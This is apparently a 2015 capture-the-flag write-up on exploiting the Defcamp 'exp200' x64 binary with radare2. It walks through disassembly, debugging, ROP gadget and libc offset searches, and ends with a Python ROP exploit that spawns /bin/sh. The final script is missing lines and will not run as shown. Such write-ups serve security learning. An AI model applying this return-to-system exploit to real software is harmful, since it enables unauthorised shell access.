Artificial truth

The more you see, the less you believe.

[archives] [latest] | [homepage] | [atom/rss]

Exploiting exp200 from Defcamp 2015 finals with radare2
Mon 23 November 2015 — download

A simple x64 pwning on which me and jinblack spent way too much time to get a shell.

The main thing to remember here is that on the x64, functions parameter are passed by register, and not on the stack.

$ r2 -A ./exp200
 -- PEBCAK ERROR: Documentation not found.
[0x004004d0]> pdf @ main
 (fcn) sym.main 117
           ; var int local_0_1    @ rbp-0x1
           ; var int local_1      @ rbp-0x8
           ; DATA XREF from 0x004004ed (sym.main)
           ;-- main:
           0x004005bd    55             push rbp
           0x004005be    4889e5         mov rbp, rsp
           0x004005c1    4883ec10       sub rsp, 0x10
           0x004005c5    41b900000000   mov r9d, 0
           0x004005cb    41b8ffffffff   mov r8d, 0xffffffff            
           0x004005d1    b922000000     mov ecx, 0x22                  
           0x004005d6    ba07000000     mov edx, 7
           0x004005db    be00020000     mov esi, 0x200                 
           0x004005e0    bf00000010     mov edi, 0x10000000
           0x004005e5    e896feffff     call sym.imp.mmap
           0x004005ea    488945f8       mov qword [rbp-local_1], rax
           0x004005ee    488d45f8       lea rax, [rbp-local_1]
           0x004005f2    ba00020000     mov edx, 0x200                 
           0x004005f7    4889c6         mov rsi, rax
           0x004005fa    bf00000000     mov edi, 0
           0x004005ff    b800000000     mov eax, 0
           0x00400604    e887feffff     call
           0x00400609    ba01000000     mov edx, 1
           0x0040060e    be00020000     mov esi, 0x200                 
           0x00400613    bf00000010     mov edi, 0x10000000
           0x00400618    e8a3feffff     call sym.imp.mprotect
           0x0040061d    488b45f8       mov rax, qword [rbp-local_1]
           0x00400621    4889c2         mov rdx, rax
           0x00400624    b800000000     mov eax, 0
           0x00400629    ffd2           call rdx
           0x0040062b    b800000000     mov eax, 0
           0x00400630    c9             leave
           0x00400631    c3             ret

It seems that the program will mmap an 0x200 bytes area, store our input on it, mark it as read-only, and calls it.

Lets see what we can control.

$ r2 -d -b 32 ./exp200
Process with PID 25142 started...
Attached debugger to pid = 25142, tid = 25142
Debugging pid = 25142, tid = 25142 now
Using BADDR 0x400000
Assuming filepath ./exp200
bits 64
Attached debugger to pid = 25142, tid = 25142
 -- Run your own r2 scripts in awk using the r2awk program.
[0xf7dd9cd0]> dc
[+] SIGNAL 11 errno=0 addr=(nil) code=128 ret=0
Debugging pid = 25142, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x00400629]> pd 4 @ eip
            ;-- eip:
            0x00400629    ffd2           call edx
            0x0040062b    b800000000     mov eax, 0
            0x00400630    c9             leave
            0x00400631    c3             ret
[0x00400629]> dr edx

As suspected, we control rip, time to see what is on the stack:

[0x00400629]> pxQ 64 @ rsp
0x7fffffffdf30 0x00007fffffffe020 r13
0x7fffffffdf38 0x4141414141414141 rdx
0x7fffffffdf40 0x4141414141414141 rdx
0x7fffffffdf48 0x4141414141414141 rdx
0x7fffffffdf50 0x00007f0a41414141 
0x7fffffffdf58 0x00007fffffffe028 r13+8
0x7fffffffdf60 0x0000000100000000 r8+1
0x7fffffffdf68 0x00000000004005bd main

The trick here is to keep in mind that the call instruction will push its return address on the stack, so we'll have to call a pop;pop;ret gadget to remove r13 from the stack.

But since the return address of the function will be our gadget, we'll need to push two garbage value before our real ropchain.

It was specified on the website that the challenge had ASLR disabled, and we have a copy of the lib thanks to the previous pwning challenge, so we won't need a leak to return to system. Unfortunately, we won't be able to call the magic-one-shot-gimme-system-plz (slide 34) make html gadget, since rax is in our case equal to zero, and this will lead to a NULL-deref.

But because we control the stack, all we have to do is to put /bin/sh into rdi, and return to system.

Time to get gadgets:

[0x004004d0]> e rop.len = 3  # we don't care about longer gadgets
[0x004004d0]> /Rl pop
0x00400513: ja 0x400517; pop rbp; ret;
0x00400521: pop rbp; mov edi, 0x601050; jmp rax;
0x00400550: jne 0x400554; pop rbp; ret;
0x00400582: pop rbp; mov byte [rip + 0x200ac6], 1; ret;
0x004005ad: call rax; pop rbp; jmp 0x400530;
0x004006a0: pop r14; pop r15; ret;
0x004006a1: pop rsi; pop r15; ret;
0x004006a3: pop rdi; ret;
[0x00020b60]> e search.maxhits = 1  # we'll take the first occurence
[0x00020b60]> / /bin/sh\x00
Searching 8 bytes from 0x00000270 to 0x005c0630: 2f 62 69 6e 2f 73 68 00 
# 7 [0x270-0x5c0630]
hits: 1
0x0018c3dd hit3_0 "/bin/sh\\u0000"

No ASLR, so we can pick fixed locations.

$ r2 /lib/x86_64-linux-gnu/
 -- This is amazing...
[0x00020b60]> is~name=system
vaddr=0x000443d0 paddr=0x000443d0 ord=1339 fwd=NONE sz=45 bind=UNKNOWN type=FUNC name=system

Getting libc base address:

$ r2 -d ./exp200 
Process with PID 28618 started...
Attached debugger to pid = 28618, tid = 28618
Debugging pid = 28618, tid = 28618 now
Using BADDR 0x400000
Assuming filepath ./exp200
bits 64
Attached debugger to pid = 28618, tid = 28618
 -- EIP = 0x41414141
[0x7ffff7dd9cd0]> dcp  # Continue until program code (mapped io section)
 90004 4004d0dd9d14
[0x004004d0]> dm~libc
sys 1.8M 0x00007ffff7a0f000 - 0x00007ffff7bcf000 s -r-x /lib/x86_64-linux-gnu/ /lib/x86_64-linux-gnu/
sys   2M 0x00007ffff7bcf000 - 0x00007ffff7dcf000 s ---- /lib/x86_64-linux-gnu/ /lib/x86_64-linux-gnu/
sys  16K 0x00007ffff7dcf000 - 0x00007ffff7dd3000 s -r-- /lib/x86_64-linux-gnu/ /lib/x86_64-linux-gnu/
sys   8K 0x00007ffff7dd3000 - 0x00007ffff7dd5000 s -rw- /lib/x86_64-linux-gnu/ /lib/x86_64-linux-gnu/

Here is the final exploit:

import struct
import socket

def rop(*args):
    return struct.pack('<Q'*len(args), *args)

popret  = 0x0000004006a3
pop2ret = 0x0000004006a1

base = 0x7ffff7a0f000
binsh = base + 0x0018c3dd
system = base + 0x000443d0

s = socket.create_connection(('localhost', 4444))

        rop(pop2ret) +
        'A'*8 +
        'A'*8 +
        rop(popret) +
        rop(binsh) +
        rop(system) +

while True:
    s.send(raw_input('> ') + '\n')
    print s.recv(1024)